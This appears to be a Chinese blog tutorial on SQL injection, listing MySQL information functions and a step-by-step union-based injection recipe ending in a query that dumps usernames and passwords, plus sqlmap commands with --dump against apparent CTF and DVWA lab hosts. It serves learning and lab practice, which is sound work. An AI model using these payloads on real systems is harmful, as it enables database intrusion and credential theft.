• SQLI手动注入和python sqlmap代码注入


    sql教程:

    https://www.w3school.com.cn/sql/index.asp
    
    • 1

    数据库:

    mysql 
    oracle
    mssql
    
    • 1
    • 2
    • 3

    常用方法

    system_user()           系统用户名
    user()                  用户名
    current_user()          当前用户名
    session_user()          连接数据库的用户名
    database()              数据库名
    version()               数据库版本
    @@datadir               数据库路径
    @@basedir               数据库安装路径
    @@version_compile_os    操作系统
    concat(str1,str2)       把str1和str2拼接到一起
    group_concat()          一次性获取所有的数据库信息
    
    information_schema.schemata   包含了数据库里所有的数据库
    schema_name                  储存了所有数据库的库名
    table_schema                  数据库名
    information_schema.tables      包含了数据库里所有的表
    table_name                     表名
    information_schema.columns     包含了数据库里所有的字段
    column_name                    字段名
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    关键字

    UNION
    order by
    
    • 1
    • 2

    注释

    #
    --   前后需要空格
    -- #
    --+  推荐使用这个,+会解释成空格
    
    • 1
    • 2
    • 3
    • 4

    推测后台php处理id拼接的方法

    $_id = $_GET['id']
    如果是整型的话
    $_sql = "select username,password from users where id=$_id"
    $_sql = "select username,password from users where id="
    如果是字符型的话
    $_sql = "select username,password from users where id='$_id'"
    $_sql = "select username,password from users where id='1' --+'"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    【SQL注入方法】:
    第一步,推测后台php存在整型注入还是字符型注入

    1'
    1' --+
    1"
    1" --+
    1')
    1') --+
    1")
    1") --+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    第二步,使用order by确定列数

    1' order by 1 --+
    1' order by 2 --+
    1' order by 3 --+
    如果执行1' order by 4 --+报错,则只有3列
    
    • 1
    • 2
    • 3
    • 4

    第三步,使用union 联合查询,将id弄成一个负数或0值,使前面的语句失效,然后看看union查询是否有回显位

    ?id=0' union select 1,version(),database() --+
    
    • 1

    查询出所有数据库名

    ?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
    
    • 1

    第四步,查询出指定数据库database()中的所有表名

    ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    
    • 1

    第五步,查询出指定表’users’中的所有字段名

    ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    
    • 1

    第六步,查询出指定指定表user中的所有字段数值,0x5c表示用户名和密码用\分割,易于观察

    ?id=0' union select 1,2,group_concat(username,0x5c,password) from users --+
    
    • 1

    【job1】如何实现多行结果拼接

    sql语句
    select first_name from users #查询users表中的姓
    select first_name from users --+ 查询users表中的姓
    select * from users
    select first_name from users where user_id=4 --+ 查询users表中id为4的姓
    select version()
    SELECT first_name FROM users
    UNION
    SELECT comment FROM guestbook
    
    SELECT first_name FROM users where user_id=1
    select comment from guestbook
    
    select concat((SELECT first_name FROM users where user_id=1),(select comment from guestbook))
    
    select concat((SELECT first_name FROM users),(select comment from guestbook))
    
    select * from information_schema.tables
    select table_name from information_schema.tables
    
    #以下在security库中查询
    select username,`password` from users where id='1'
    select username,`password` from users where id=0 union select 1,version(),database(),2
    
    select 1
    
    select username,`password` from users order by 1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    【pytho sqlmap使用方法】

    https://github.com/sqlmapproject/sqlmap
    
    • 1
    python sqlmap.py -h
    python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" --dbs
    python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" -D supersqli --tables
    python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users --column
    python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users -C user,password --dump
    
    • 1
    • 2
    • 3
    • 4
    • 5

  • 相关阅读:
    C++学习:类与对象
    SSM基于小程序的医院预约挂号系统 毕业设计-附源码260839
    关于@Autowired
    上海天正面试03
    java反射全面复习
    深入理解React中fiber
    信号线上串接电阻的作用
    unity面试题(基础篇)
    【C++代码】二叉搜索树的最近公共祖先,二叉搜索树中的插入操作,删除二叉搜索树中的节点--代码随想录
    29、域名ICP备案查询API接口,免费好用
  • 原文地址:https://blog.csdn.net/u013541325/article/details/134340232